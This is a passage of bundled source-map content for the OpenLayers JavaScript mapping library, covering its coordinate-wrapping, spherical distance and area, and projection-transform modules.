inclusive, the upper one\n * exclusive.\n *\n * @param {Coordinate} coordinate Coordinate.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @return {Coordinate} The coordinate within the real world extent.\n */\nexport function wrapX(coordinate, projection) {\n if (projection.canWrapX()) {\n var worldWidth = getWidth(projection.getExtent());\n var worldsAway = getWorldsAway(coordinate, projection, worldWidth);\n if (worldsAway) {\n coordinate[0] -= worldsAway * worldWidth;\n }\n }\n return coordinate;\n}\n/**\n * @param {Coordinate} coordinate Coordinate.\n * @param {import(\"./proj/Projection.js\").default} projection Projection.\n * @param {number} [opt_sourceExtentWidth] Width of the source extent.\n * @return {number} Offset in world widths.\n */\nexport function getWorldsAway(coordinate, projection, opt_sourceExtentWidth) {\n var projectionExtent = projection.getExtent();\n var worldsAway = 0;\n if (projection.canWrapX() &&\n (coordinate[0] < projectionExtent[0] || coordinate[0] > projectionExtent[2])) {\n var sourceExtentWidth = opt_sourceExtentWidth || getWidth(projectionExtent);\n worldsAway = Math.floor((coordinate[0] - projectionExtent[0]) / sourceExtentWidth);\n }\n return worldsAway;\n}\n//# sourceMappingURL=coordinate.js.map","/**\n * @module ol/sphere\n */\nimport { toDegrees, toRadians } from './math.js';\n/**\n * Object literal with options for the {@link getLength} or {@link getArea}\n * functions.\n * @typedef {Object} SphereMetricOptions\n * @property {import(\"./proj.js\").ProjectionLike} [projection='EPSG:3857']\n * Projection of the geometry. By default, the geometry is assumed to be in\n * Web Mercator.\n * @property {number} [radius=6371008.8] Sphere radius. By default, the\n * [mean Earth radius](https://en.wikipedia.org/wiki/Earth_radius#Mean_radius)\n * for the WGS84 ellipsoid is used.\n */\n/**\n * The mean Earth radius (1/3 * (2a + b)) for the WGS84 ellipsoid.\n * https://en.wikipedia.org/wiki/Earth_radius#Mean_radius\n * @type {number}\n */\nexport var DEFAULT_RADIUS = 6371008.8;\n/**\n * Get the great circle distance (in meters) between two geographic coordinates.\n * @param {Array} c1 Starting coordinate.\n * @param {Array} c2 Ending coordinate.\n * @param {number} [opt_radius] The sphere radius to use. Defaults to the Earth's\n * mean radius using the WGS84 ellipsoid.\n * @return {number} The great circle distance between the points (in meters).\n * @api\n */\nexport function getDistance(c1, c2, opt_radius) {\n var radius = opt_radius || DEFAULT_RADIUS;\n var lat1 = toRadians(c1[1]);\n var lat2 = toRadians(c2[1]);\n var deltaLatBy2 = (lat2 - lat1) / 2;\n var deltaLonBy2 = toRadians(c2[0] - c1[0]) / 2;\n var a = Math.sin(deltaLatBy2) * Math.sin(deltaLatBy2) +\n Math.sin(deltaLonBy2) *\n Math.sin(deltaLonBy2) *\n Math.cos(lat1) *\n Math.cos(lat2);\n return 2 * radius * Math.atan2(Math.sqrt(a), Math.sqrt(1 - a));\n}\n/**\n * Get the cumulative great circle length of linestring coordinates (geographic).\n * @param {Array} coordinates Linestring coordinates.\n * @param {number} radius The sphere radius to use.\n * @return {number} The length (in meters).\n */\nfunction getLengthInternal(coordinates, radius) {\n var length = 0;\n for (var i = 0, ii = coordinates.length; i < ii - 1; ++i) {\n length += getDistance(coordinates[i], coordinates[i + 1], radius);\n }\n return length;\n}\n/**\n * Get the spherical length of a geometry. This length is the sum of the\n * great circle distances between coordinates. For polygons, the length is\n * the sum of all rings. For points, the length is zero. For multi-part\n * geometries, the length is the sum of the length of each part.\n * @param {import(\"./geom/Geometry.js\").default} geometry A geometry.\n * @param {SphereMetricOptions} [opt_options] Options for the\n * length calculation. By default, geometries are assumed to be in 'EPSG:3857'.\n * You can change this by providing a `projection` option.\n * @return {number} The spherical length (in meters).\n * @api\n */\nexport function getLength(geometry, opt_options) {\n var options = opt_options || {};\n var radius = options.radius || DEFAULT_RADIUS;\n var projection = options.projection || 'EPSG:3857';\n var type = geometry.getType();\n if (type !== 'GeometryCollection') {\n geometry = geometry.clone().transform(projection, 'EPSG:4326');\n }\n var length = 0;\n var coordinates, coords, i, ii, j, jj;\n switch (type) {\n case 'Point':\n case 'MultiPoint': {\n break;\n }\n case 'LineString':\n case 'LinearRing': {\n coordinates = /** @type {import(\"./geom/SimpleGeometry.js\").default} */ (geometry).getCoordinates();\n length = getLengthInternal(coordinates, radius);\n break;\n }\n case 'MultiLineString':\n case 'Polygon': {\n coordinates = /** @type {import(\"./geom/SimpleGeometry.js\").default} */ (geometry).getCoordinates();\n for (i = 0, ii = coordinates.length; i < ii; ++i) {\n length += getLengthInternal(coordinates[i], radius);\n }\n break;\n }\n case 'MultiPolygon': {\n coordinates = /** @type {import(\"./geom/SimpleGeometry.js\").default} */ (geometry).getCoordinates();\n for (i = 0, ii = coordinates.length; i < ii; ++i) {\n coords = coordinates[i];\n for (j = 0, jj = coords.length; j < jj; ++j) {\n length += getLengthInternal(coords[j], radius);\n }\n }\n break;\n }\n case 'GeometryCollection': {\n var geometries = \n /** @type {import(\"./geom/GeometryCollection.js\").default} */ (geometry).getGeometries();\n for (i = 0, ii = geometries.length; i < ii; ++i) {\n length += getLength(geometries[i], opt_options);\n }\n break;\n }\n default: {\n throw new Error('Unsupported geometry type: ' + type);\n }\n }\n return length;\n}\n/**\n * Returns the spherical area for a list of coordinates.\n *\n * [Reference](https://trs.jpl.nasa.gov/handle/2014/40409)\n * Robert. G. Chamberlain and William H. Duquette, \"Some Algorithms for\n * Polygons on a Sphere\", JPL Publication 07-03, Jet Propulsion\n * Laboratory, Pasadena, CA, June 2007\n *\n * @param {Array<import(\"./coordinate.js\").Coordinate>} coordinates List of coordinates of a linear\n * ring. If the ring is oriented clockwise, the area will be positive,\n * otherwise it will be negative.\n * @param {number} radius The sphere radius.\n * @return {number} Area (in square meters).\n */\nfunction getAreaInternal(coordinates, radius) {\n var area = 0;\n var len = coordinates.length;\n var x1 = coordinates[len - 1][0];\n var y1 = coordinates[len - 1][1];\n for (var i = 0; i < len; i++) {\n var x2 = coordinates[i][0];\n var y2 = coordinates[i][1];\n area +=\n toRadians(x2 - x1) *\n (2 + Math.sin(toRadians(y1)) + Math.sin(toRadians(y2)));\n x1 = x2;\n y1 = y2;\n }\n return (area * radius * radius) / 2.0;\n}\n/**\n * Get the spherical area of a geometry. This is the area (in meters) assuming\n * that polygon edges are segments of great circles on a sphere.\n * @param {import(\"./geom/Geometry.js\").default} geometry A geometry.\n * @param {SphereMetricOptions} [opt_options] Options for the area\n * calculation. By default, geometries are assumed to be in 'EPSG:3857'.\n * You can change this by providing a `projection` option.\n * @return {number} The spherical area (in square meters).\n * @api\n */\nexport function getArea(geometry, opt_options) {\n var options = opt_options || {};\n var radius = options.radius || DEFAULT_RADIUS;\n var projection = options.projection || 'EPSG:3857';\n var type = geometry.getType();\n if (type !== 'GeometryCollection') {\n geometry = geometry.clone().transform(projection, 'EPSG:4326');\n }\n var area = 0;\n var coordinates, coords, i, ii, j, jj;\n switch (type) {\n case 'Point':\n case 'MultiPoint':\n case 'LineString':\n case 'MultiLineString':\n case 'LinearRing': {\n break;\n }\n case 'Polygon': {\n coordinates = /** @type {import(\"./geom/Polygon.js\").default} */ (geometry).getCoordinates();\n area = Math.abs(getAreaInternal(coordinates[0], radius));\n for (i = 1, ii = coordinates.length; i < ii; ++i) {\n area -= Math.abs(getAreaInternal(coordinates[i], radius));\n }\n break;\n }\n case 'MultiPolygon': {\n coordinates = /** @type {import(\"./geom/SimpleGeometry.js\").default} */ (geometry).getCoordinates();\n for (i = 0, ii = coordinates.length; i < ii; ++i) {\n coords = coordinates[i];\n area += Math.abs(getAreaInternal(coords[0], radius));\n for (j = 1, jj = coords.length; j < jj; ++j) {\n area -= Math.abs(getAreaInternal(coords[j], radius));\n }\n }\n break;\n }\n case 'GeometryCollection': {\n var geometries = \n /** @type {import(\"./geom/GeometryCollection.js\").default} */ (geometry).getGeometries();\n for (i = 0, ii = geometries.length; i < ii; ++i) {\n area += getArea(geometries[i], opt_options);\n }\n break;\n }\n default: {\n throw new Error('Unsupported geometry type: ' + type);\n }\n }\n return area;\n}\n/**\n * Returns the coordinate at the given distance and bearing from `c1`.\n *\n * @param {import(\"./coordinate.js\").Coordinate} c1 The origin point (`[lon, lat]` in degrees).\n * @param {number} distance The great-circle distance between the origin\n * point and the target point.\n * @param {number} bearing The bearing (in radians).\n * @param {number} [opt_radius] The sphere radius to use. Defaults to the Earth's\n * mean radius using the WGS84 ellipsoid.\n * @return {import(\"./coordinate.js\").Coordinate} The target point.\n */\nexport function offset(c1, distance, bearing, opt_radius) {\n var radius = opt_radius || DEFAULT_RADIUS;\n var lat1 = toRadians(c1[1]);\n var lon1 = toRadians(c1[0]);\n var dByR = distance / radius;\n var lat = Math.asin(Math.sin(lat1) * Math.cos(dByR) +\n Math.cos(lat1) * Math.sin(dByR) * Math.cos(bearing));\n var lon = lon1 +\n Math.atan2(Math.sin(bearing) * Math.sin(dByR) * Math.cos(lat1), Math.cos(dByR) - Math.sin(lat1) * Math.sin(lat));\n return [toDegrees(lon), toDegrees(lat)];\n}\n//# sourceMappingURL=sphere.js.map","/**\n * @module ol/proj\n */\n/**\n * The ol/proj module stores:\n * * a list of {@link module:ol/proj/Projection~Projection}\n * objects, one for each projection supported by the application\n * * a list of transform functions needed to convert coordinates in one projection\n * into another.\n *\n * The static functions are the methods used to maintain these.\n * Each transform function can handle not only simple coordinate pairs, but also\n * large arrays of coordinates such as vector geometries.\n *\n * When loaded, the library adds projection objects for EPSG:4326 (WGS84\n * geographic coordinates) and EPSG:3857 (Web or Spherical Mercator, as used\n * for example by Bing Maps or OpenStreetMap), together with the relevant\n * transform functions.\n *\n * Additional transforms may be added by using the http://proj4js.org/\n * library (version 2.2 or later). You can use the full build supplied by\n * Proj4js, or create a custom build to support those projections you need; see\n * the Proj4js website for how to do this. You also need the Proj4js definitions\n * for the required projections. These definitions can be obtained from\n * https://epsg.io/, and are a JS function, so can be loaded in a script\n * tag (as in the examples) or pasted into your application.\n *\n * After all required projection definitions are added to proj4's registry (by\n * using `proj4.defs()`), simply call `register(proj4)` from the `ol/proj/proj4`\n * package. Existing transforms are not changed by this function. See\n * examples/wms-image-custom-proj for an example of this.\n *\n * Additional projection definitions can be registered with `proj4.defs()` any\n * time. Just make sure to call `register(proj4)` again; for example, with user-supplied data where you don't\n * know in advance what projections are needed, you can initially load minimal\n * support and then load whichever are requested.\n *\n * Note that Proj4js does not support projection extents. If you want to add\n * one for creating default tile grids, you can add it after the Projection\n * object has been created with `setExtent`, for example,\n * `get('EPSG:1234').setExtent(extent)`.\n *\n * In addition to Proj4js support, any transform functions can be added with\n * {@link module:ol/proj.addCoordinateTransforms}. To use this, you must first create\n * a {@link module:ol/proj/Projection~Projection} object for the new projection and add it with\n * {@link module:ol/proj.addProjection}. You can then add the forward and inverse\n * functions with {@link module:ol/proj.addCoordinateTransforms}. See\n * examples/wms-custom-proj for an example of this.\n *\n * Note that if no transforms are needed and you only need to define the\n * projection, just add a {@link module:ol/proj/Projection~Projection} with\n * {@link module:ol/proj.addProjection}. See examples/wms-no-proj for an example of\n * this.\n */\nimport Projection from './proj/Projection.js';\nimport Units, { METERS_PER_UNIT } from './proj/Units.js';\nimport { PROJECTIONS as EPSG3857_PROJECTIONS, fromEPSG4326, toEPSG4326, } from './proj/epsg3857.js';\nimport { PROJECTIONS as EPSG4326_PROJECTIONS } from './proj/epsg4326.js';\nimport { add as addProj, clear as clearProj, get as getProj, } from './proj/projections.js';\nimport { add as addTransformFunc, clear as clearTransformFuncs, get as getTransformFunc, } from './proj/transforms.js';\nimport { applyTransform, getWidth } from './extent.js';\nimport { clamp, modulo } from './math.js';\nimport { equals, getWorldsAway } from './coordinate.js';\nimport { getDistance } from './sphere.js';\n/**\n * A projection as {@link module:ol/proj/Projection~Projection}, SRS identifier\n * string or undefined.\n * @typedef {Projection|string|undefined} ProjectionLike\n * @api\n */\n/**\n * A transform function accepts an array of input coordinate values, an optional\n * output array, and an optional dimension (default should be 2). The function\n * transforms the input coordinate values, populates the output array, and\n * returns the output array.\n *\n * @typedef {function(Array<number>, Array<number>=, number=): Array<number>} TransformFunction\n * @api\n */\nexport { METERS_PER_UNIT };\nexport { Projection };\nvar showCoordinateWarning = true;\n/**\n * @param {boolean} [opt_disable = true] Disable console info about `useGeographic()`\n */\nexport function disableCoordinateWarning(opt_disable) {\n var hide = opt_disable === undefined ? true : opt_disable;\n showCoordinateWarning = !hide;\n}\n/**\n * @param {Array<number>} input Input coordinate array.\n * @param {Array<number>} [opt_output] Output array of coordinate values.\n * @param {number} [opt_dimension] Dimension.\n * @return {Array<number>} Output coordinate array (new array, same coordinate\n * values).\n */\nexport function cloneTransform(input, opt_output, opt_dimension) {\n var output;\n if (opt_output !== undefined) {\n for (var i = 0, ii = input.length; i < ii; ++i) {\n opt_output[i] = input[i];\n }\n output = opt_output;\n }\n else {\n output = input.slice();\n }\n return output;\n}\n/**\n * @param {Array<number>} input Input coordinate array.\n * @param {Array<number>} [opt_output] Output array of coordinate values.\n * @param {number} [opt_dimension] Dimension.\n * @return {Array<number>} Input coordinate array (same array as input).\n */\nexport function identityTransform(input, opt_output, opt_dimension) {\n if (opt_output !== undefined && input !== opt_output) {\n for (var i = 0, ii = input.length; i < ii; ++i) {\n opt_output[i] = input[i];\n }\n input = opt_output;\n }\n return input;\n}\n/**\n * Add a Projection object to the list of supported projections that can be\n * looked up by their code.\n *\n * @param {Projection} projection Projection instance.\n * @api\n */\nexport function addProjection(projection) {\n addProj(projection.getCode(), projection);\n addTransformFunc(projection, projection, cloneTransform);\n}\n/**\n * @param {Array<Projection>} projections Projections.\n */\nexport function addProjections(projections) {\n projections.forEach(addProjection);\n}\n/**\n * Fetches a Projection object for the code specified.\n *\n * @param {ProjectionLike} projectionLike Either a code string which is\n * a combination of authority and identifier such as \"EPSG:4326\", or an\n * existing projection object, or undefined.\n * @return {Projection|null} Projection object, or null if not in list.\n * @api\n */\nexport function get(projectionLike) {\n return typeof projectionLike === 'string'\n ? getProj(/** @type {string} */ (projectionLike))\n : /** @type {Projection} */ (projectionLike) || null;\n}\n/**\n * Get the resolution of the point in degrees or distance units.\n * For projections with degrees as the unit this will simply return the\n * provided resolution. For other projections the point resolution is\n * by default estimated by transforming the `point` pixel to EPSG:4326,\n * measuring its width and height on the normal sphere,\n * and taking the average of the width and height.\n * A custom function can be provided for a specific projection, either\n * by setting the `getPointResolution` option in the\n * {@link module:ol/proj/Projection~Projection} constructor or by using\n * {@link module:ol/proj/Projection~Projection#setGetPointResolution} to change an existing\n * projection object.\n * @param {ProjectionLike} projection The projection.\n * @param {number} resolution Nominal resolution in projection units.\n * @param {import(\"./coordinate.js\").Coordinate} point Point to find adjusted resolution at.\n * @param {import(\"./proj/Units.js\").default} [opt_units] Units to get the point resolution in.\n * Default is the projection's units.\n * @return {number} Point resolution.\n * @api\n */\nexport function getPointResolution(projection, resolution, point, opt_units) {\n projection = get(projection);\n var pointResolution;\n var getter = projection.getPointResolutionFunc();\n if (getter) {\n pointResolution = getter(resolution, point);\n if (opt_units && opt_units !== projection.getUnits()) {\n var metersPerUnit = projection.getMetersPerUnit();\n if (metersPerUnit) {\n pointResolution =\n (pointResolution * metersPerUnit) / METERS_PER_UNIT[opt_units];\n }\n }\n }\n else {\n var units = projection.getUnits();\n if ((units == Units.DEGREES && !opt_units) || opt_units == Units.DEGREES) {\n pointResolution = resolution;\n }\n else {\n // Estimate point resolution by transforming the center pixel to EPSG:4326,\n // measuring its width and height on the normal sphere, and taking the\n // average of the width and height.\n var toEPSG4326_1 = getTransformFromProjections(projection, get('EPSG:4326'));\n if (toEPSG4326_1 === identityTransform && units !== Units.DEGREES) {\n // no transform is available\n pointResolution = resolution * projection.getMetersPerUnit();\n }\n else {\n var vertices = [\n point[0] - resolution / 2,\n point[1],\n point[0] + resolution / 2,\n point[1],\n point[0],\n point[1] - resolution / 2,\n point[0],\n point[1] + resolution / 2,\n ];\n vertices = toEPSG4326_1(vertices, vertices, 2);\n var width = getDistance(vertices.slice(0, 2), vertices.slice(2, 4));\n var height = getDistance(vertices.slice(4, 6), vertices.slice(6, 8));\n pointResolution = (width + height) / 2;\n }\n var metersPerUnit = opt_units\n ? METERS_PER_UNIT[opt_units]\n : projection.getMetersPerUnit();\n if (metersPerUnit !== undefined) {\n pointResolution /= metersPerUnit;\n }\n }\n }\n return pointResolution;\n}\n/**\n * Registers transformation functions that don't alter coordinates. Those allow\n * to transform between projections with equal meaning.\n *\n * @param {Array<Projection>} projections Projections.\n * @api\n */\nexport function addEquivalentProjections(projections) {\n addProjections(projections);\n projections.forEach(function (source) {\n projections.forEach(function (destination) {\n if (source !== destination) {\n addTransformFunc(source, destination, cloneTransform);\n }\n });\n });\n}\n/**\n * Registers transformation functions to convert coordinates in any projection\n * in projection1 to any projection in projection2.\n *\n * @param {Array<Projection>} projections1 Projections with equal\n * meaning.\n * @param {Array<Projection>} projections2 Projections with equal\n * meaning.\n * @param {TransformFunction} forwardTransform Transformation from any\n * projection in projection1 to any projection in projection2.\n * @param {TransformFunction} inverseTransform Transform from any projection\n * in projection2 to any projection in projection1..\n */\nexport function addEquivalentTransforms(projections1, projections2, forwardTransform, inverseTransform) {\n projections1.forEach(function (projection1) {\n projections2.forEach(function (projection2) {\n addTransformFunc(projection1, projection2, forwardTransform);\n addTransformFunc(projection2, projection1, inverseTransform);\n });\n });\n}\n/**\n * Clear all cached projections and transforms.\n */\nexport function clearAllProjections() {\n clearProj();\n clearTransformFuncs();\n}\n/**\n * @param {Projection|string|undefined} projection Projection.\n * @param {string} defaultCode Default code.\n * @return {Projection} Projection.\n */\nexport function createProjection(projection, defaultCode) {\n if (!projection) {\n return get(defaultCode);\n }\n else if (typeof projection === 'string') {\n return get(projection);\n }\n else {\n return /** @type {Projection} */ (projection);\n }\n}\n/**\n * Creates a {@link module:ol/proj~TransformFunction} from a simple 2D coordinate transform\n * function.\n * @param {function(import(\"./coordinate.js\").Coordinate): import(\"./coordinate.js\").Coordinate} coordTransform Coordinate\n * transform.\n * @return {TransformFunction} Transform function.\n */\nexport function createTransformFromCoordinateTransform(coordTransform) {\n return (\n /**\n * @param {Array<number>} input Input.\n * @param {Array<number>} [opt_output] Output.\n * @param {number} [opt_dimension] Dimension.\n * @return {Array<number>} Output.\n */\n function (input, opt_output, opt_dimension) {\n var length = input.length;\n var dimension = opt_dimension !== undefined ? opt_dimension : 2;\n var output = opt_output !== undefined ? opt_output : new Array(length);\n for (var i = 0; i < length; i += dimension) {\n var point = coordTransform(input.slice(i, i + dimension));\n var pointLength = point.length;\n for (var j = 0, jj = dimension; j < jj; ++j) {\n output[i + j] = j >= pointLength ? input[i + j] : point[j];\n }\n }\n return output;\n });\n}\n/**\n * Registers coordinate transform functions to convert coordinates between the\n * source projection and the destination projection.\n * The forward and inverse functions convert coordinate pairs; this function\n * converts these into the functions used internally which also handle\n * extents and coordinate arrays.\n *\n * @param {ProjectionLike} source Source projection.\n * @param {ProjectionLike} destination Destination projection.\n * @param {function(import(\"./coordinate.js\").Coordinate): import(\"./coordinate.js\").Coordinate} forward The forward transform\n * function (that is, from the source projection to the destination\n * projection) that takes a {@link module:ol/coordinate~Coordinate} as argument and returns\n * the transformed {@link module:ol/coordinate~Coordinate}.\n * @param {function(import(\"./coordinate.js\").Coordinate): import(\"./coordinate.js\").Coordinate} inverse The inverse transform\n * function (that is, from the destination projection to the source\n * projection) that takes a {@link module:ol/coordinate~Coordinate} as argument and returns\n * the transformed {@link module:ol/coordinate~Coordinate}. If the transform function can only\n * transform less dimensions than the input coordinate, it is supposeed to return a coordinate\n * with only the length it can transform. The other dimensions will be taken unchanged from the\n * source.\n * @api\n */\nexport function addCoordinateTransforms(source, destination, forward, inverse) {\n var sourceProj = get(source);\n var destProj = get(destination);\n addTransformFunc(sourceProj, destProj, createTransformFromCoordinateTransform(forward));\n addTransformFunc(destProj, sourceProj, createTransformFromCoordinateTransform(inverse));\n}\n/**\n * Transforms a coordinate from longitude/latitude to a different projection.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate as longitude and latitude, i.e.\n * an array with longitude as 1st and latitude as 2nd element.\n * @param {ProjectionLike} [opt_projection] Target projection. The\n * default is Web Mercator, i.e. 'EPSG:3857'.\n * @return {import(\"./coordinate.js\").Coordinate} Coordinate projected to the target projection.\n * @api\n */\nexport function fromLonLat(coordinate, opt_projection) {\n disableCoordinateWarning();\n return transform(coordinate, 'EPSG:4326', opt_projection !== undefined ? opt_projection : 'EPSG:3857');\n}\n/**\n * Transforms a coordinate to longitude/latitude.\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Projected coordinate.\n * @param {ProjectionLike} [opt_projection] Projection of the coordinate.\n * The default is Web Mercator, i.e. 'EPSG:3857'.\n * @return {import(\"./coordinate.js\").Coordinate} Coordinate as longitude and latitude, i.e. an array\n * with longitude as 1st and latitude as 2nd element.\n * @api\n */\nexport function toLonLat(coordinate, opt_projection) {\n var lonLat = transform(coordinate, opt_projection !== undefined ? opt_projection : 'EPSG:3857', 'EPSG:4326');\n var lon = lonLat[0];\n if (lon < -180 || lon > 180) {\n lonLat[0] = modulo(lon + 180, 360) - 180;\n }\n return lonLat;\n}\n/**\n * Checks if two projections are the same, that is every coordinate in one\n * projection does represent the same geographic point as the same coordinate in\n * the other projection.\n *\n * @param {Projection} projection1 Projection 1.\n * @param {Projection} projection2 Projection 2.\n * @return {boolean} Equivalent.\n * @api\n */\nexport function equivalent(projection1, projection2) {\n if (projection1 === projection2) {\n return true;\n }\n var equalUnits = projection1.getUnits() === projection2.getUnits();\n if (projection1.getCode() === projection2.getCode()) {\n return equalUnits;\n }\n else {\n var transformFunc = getTransformFromProjections(projection1, projection2);\n return transformFunc === cloneTransform && equalUnits;\n }\n}\n/**\n * Searches in the list of transform functions for the function for converting\n * coordinates from the source projection to the destination projection.\n *\n * @param {Projection} sourceProjection Source Projection object.\n * @param {Projection} destinationProjection Destination Projection\n * object.\n * @return {TransformFunction} Transform function.\n */\nexport function getTransformFromProjections(sourceProjection, destinationProjection) {\n var sourceCode = sourceProjection.getCode();\n var destinationCode = destinationProjection.getCode();\n var transformFunc = getTransformFunc(sourceCode, destinationCode);\n if (!transformFunc) {\n transformFunc = identityTransform;\n }\n return transformFunc;\n}\n/**\n * Given the projection-like objects, searches for a transformation\n * function to convert a coordinates array from the source projection to the\n * destination projection.\n *\n * @param {ProjectionLike} source Source.\n * @param {ProjectionLike} destination Destination.\n * @return {TransformFunction} Transform function.\n * @api\n */\nexport function getTransform(source, destination) {\n var sourceProjection = get(source);\n var destinationProjection = get(destination);\n return getTransformFromProjections(sourceProjection, destinationProjection);\n}\n/**\n * Transforms a coordinate from source projection to destination projection.\n * This returns a new coordinate (and does not modify the original).\n *\n * See {@link module:ol/proj.transformExtent} for extent transformation.\n * See the transform method of {@link module:ol/geom/Geometry~Geometry} and its\n * subclasses for geometry transforms.\n *\n * @param {import(\"./coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {ProjectionLike} source Source projection-like.\n * @param {ProjectionLike} destination Destination projection-like.\n * @return {import(\"./coordinate.js\").Coordinate} Coordinate.\n * @api\n */\nexport function transform(coordinate, source, destination) {\n var transformFunc = getTransform(source, destination);\n return transformFunc(coordinate, undefined, coordinate.length);\n}\n/**\n * Transforms an extent from source projection to destination projection. This\n * returns a new extent (and does not modify the original).\n *\n * @param {import(\"./extent.js\").Extent} extent The extent to transform.\n * @param {ProjectionLike} source Source projection-like.\n * @param {ProjectionLike} destination Destination projection-like.\n * @param {number} [opt_stops] Number of stops per side used for the transform.\n * By default only the corners are used.\n * @return {import(\"./extent.js\").Extent} The transformed extent.\n * @api\n */\nexport function transformExtent(extent, source, destination, opt_stops) {\n var transformFunc = getTransform(source, destination);\n return applyTransform(extent, transformFunc, undefined, opt_stops);\n}\n/**\n * Transforms the given point to the destination projection.\n *\n * @param {import(\"./coordinate.js\").Coordinate} point Point.\n * @param {Projection} sourceProjection Source projection.\n * @param {Projection} destinationProjection Destination projection.\n * @return {import(\"./coordinate.js\").Coordinate} Point.\n */\nexport function transformWithProjections(point, sourceProjection, destinationProjection) {\n var transformFunc = getTransformFromProjections(sourceProjection, destinationProjection);\n return transformFunc(point);\n}\n/**\n * @type {Projection|null}\n */\nvar userProjection = null;\n/**\n * Set the projection for coordinates supplied from and returned by API methods.\n * This includes all API methods except for those interacting with tile grids.\n * @param {ProjectionLike} projection The user projection.\n * @api\n */\nexport function setUserProjection(projection) {\n userProjection = get(projection);\n}\n/**\n * Clear the user projection if set.\n * @api\n */\nexport function clearUserProjection() {\n userProjection = null;\n}\n/**\n * Get the projection for coordinates supplied from and returned by API methods.\n * Note that this method is not yet a part of the stable API. Support for user\n * projections is not yet complete and should be considered experimental.\n * @return {Projection|null} The user projection (or null if not set).\n * @api\n */\nexport function getUserProjection() {\n return userProjection;\n}\n/**\n * Use geographic coordinates (WGS-84 datum) in API methods. This includes all API\n * methods except for those interacting with tile grids.\n * @api\n */\nexport function useGeographic() {\n setUserProjection('EPSG:4326');\n}\n/**\n * Return a coordinate transformed into the user projection. If no user projection\n * is set, the original coordinate is returned.\n * @param {Array<number>} coordinate Input coordinate.\n * @param {ProjectionLike} sourceProjection The input coordinate projection.\n * @return {Array<number>} The input coordinate in the user projection.\n */\nexport function toUserCoordinate(coordinate, sourceProjection) {\n if (!userProjection) {\n return coordinate;\n }\n return transform(coordinate, sourceProjection, userProjection);\n}\n/**\n * Return a coordinate transformed from the user projection. If no user projection\n * is set, the original coordinate is returned.\n * @param {Array<number>} coordinate Input coordinate.\n * @param {ProjectionLike} destProjection The destination projection.\n * @return {Array<number>} The input coordinate transformed.\n */\nexport function fromUserCoordinate(coordinate, destProjection) {\n if (!userProjection) {\n if (showCoordinateWarning &&\n !equals(coordinate, [0, 0]) &&\n coordinate[0] >= -180 &&\n coordinate[0] <= 180 &&\n coordinate[1] >= -90 &&\n coordinate[1] <= 90) {\n showCoordinateWarning = false;\n // eslint-disable-next-line no-console\n console.warn('Call useGeographic() from ol/proj once to work with [longitude, latitude] coordinates.');\n }\n return coordinate;\n }\n return transform(coordinate, userProjection, destProjection);\n}\n/**\n * Return an extent transformed into the user projection. If no user projection\n * is set, the original extent is returned.\n * @param {import(\"./extent.js\").Extent} extent Input extent.\n * @param {ProjectionLike} sourceProjection The input extent projection.\n * @return {import(\"./extent.js\").Extent} The input extent in the user projection.\n */\nexport function toUserExtent(extent, sourceProjection) {\n if (!userProjection) {\n return extent;\n }\n return transformExtent(extent, sourceProjection, userProjection);\n}\n/**\n * Return an extent transformed from the user projection. If no user projection\n * is set, the original extent is returned.\n * @param {import(\"./extent.js\").Extent} extent Input extent.\n * @param {ProjectionLike} destProjection The destination projection.\n * @return {import(\"./extent.js\").Extent} The input extent transformed.\n */\nexport function fromUserExtent(extent, destProjection) {\n if (!userProjection) {\n return extent;\n }\n return transformExtent(extent, userProjection, destProjection);\n}\n/**\n * Return the resolution in user projection units per pixel. If no user projection\n * is set, or source or user projection are missing units, the original resolution\n * is returned.\n * @param {number} resolution Resolution in input projection units per pixel.\n * @param {ProjectionLike} sourceProjection The input projection.\n * @return {number} Resolution in user projection units per pixel.\n */\nexport function toUserResolution(resolution, sourceProjection) {\n if (!userProjection) {\n return resolution;\n }\n var sourceUnits = get(sourceProjection).getUnits();\n var userUnits = userProjection.getUnits();\n return sourceUnits && userUnits\n ? (resolution * METERS_PER_UNIT[sourceUnits]) / METERS_PER_UNIT[userUnits]\n : resolution;\n}\n/**\n * Return the resolution in user projection units per pixel. If no user projection\n * is set, or source or user projection are missing units, the original resolution\n * is returned.\n * @param {number} resolution Resolution in user projection units per pixel.\n * @param {ProjectionLike} destProjection The destination projection.\n * @return {number} Resolution in destination projection units per pixel.\n */\nexport function fromUserResolution(resolution, destProjection) {\n if (!userProjection) {\n return resolution;\n }\n var sourceUnits = get(destProjection).getUnits();\n var userUnits = userProjection.getUnits();\n return sourceUnits && userUnits\n ? (resolution * METERS_PER_UNIT[userUnits]) / METERS_PER_UNIT[sourceUnits]\n : resolution;\n}\n/**\n * Creates a safe coordinate transform function from a coordinate transform function.\n * \"Safe\" means that it can handle wrapping of x-coordinates for global projections,\n * and that coordinates exceeding the source projection validity extent's range will be\n * clamped to the validity range.\n * @param {Projection} sourceProj Source projection.\n * @param {Projection} destProj Destination projection.\n * @param {function(import(\"./coordinate.js\").Coordinate): import(\"./coordinate.js\").Coordinate} transform Transform function (source to destiation).\n * @return {function(import(\"./coordinate.js\").Coordinate): import(\"./coordinate.js\").Coordinate} Safe transform function (source to destiation).\n */\nexport function createSafeCoordinateTransform(sourceProj, destProj, transform) {\n return function (coord) {\n var transformed, worldsAway;\n if (sourceProj.canWrapX()) {\n var sourceExtent = sourceProj.getExtent();\n var sourceExtentWidth = getWidth(sourceExtent);\n coord = coord.slice(0);\n worldsAway = getWorldsAway(coord, sourceProj, sourceExtentWidth);\n if (worldsAway) {\n // Move x to the real world\n coord[0] = coord[0] - worldsAway * sourceExtentWidth;\n }\n coord[0] = clamp(coord[0], sourceExtent[0], sourceExtent[2]);\n coord[1] = clamp(coord[1], sourceExtent[1], sourceExtent[3]);\n transformed = transform(coord);\n }\n else {\n transformed = transform(coord);\n }\n if (worldsAway && destProj.canWrapX()) {\n // Move transformed coordinate back to the offset world\n transformed[0] += worldsAway * getWidth(destProj.getExtent());\n }\n return transformed;\n };\n}\n/**\n * Add transforms to and from EPSG:4326 and EPSG:3857. This function is called\n * by when this module is executed and should only need to be called again after\n * `clearAllProjections()` is called (e.g. in tests).\n */\nexport function addCommon() {\n // Add transformations that don't alter coordinates to convert within set of\n // projections with equal meaning.\n addEquivalentProjections(EPSG3857_PROJECTIONS);\n addEquivalentProjections(EPSG4326_PROJECTIONS);\n // Add transformations to convert EPSG:4326 like coordinates to EPSG:3857 like\n // coordinates and back.\n 